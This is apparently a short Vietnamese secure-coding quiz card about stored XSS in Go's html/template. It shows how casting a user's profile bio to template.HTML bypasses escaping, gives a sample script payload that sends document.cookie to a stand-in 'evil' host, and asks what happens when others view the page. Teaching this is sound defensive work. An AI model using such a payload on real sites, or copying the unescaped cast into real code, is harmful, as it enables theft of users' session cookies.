TEMPLATE · XSS
Nâng cao
CA 04 / 09
Trận đấu trùm: chữ “tin tưởng” đắt giá
Trang hồ sơ in phần “giới thiệu” (bio) do chính người dùng nhập. html/template vốn tự escape mọi thứ — trừ khi bạn ép kiểu template.HTML:
data := map[string]any{
"Bio": template.HTML(user.Bio), // = "tôi tin cái này an toàn, ĐỪNG escape"
}
Người dùng nhập bio:
<script>fetch("https://evil/c?"+document.cookie)</script>
❯ Khi người khác mở trang hồ sơ này, chuyện gì xảy ra?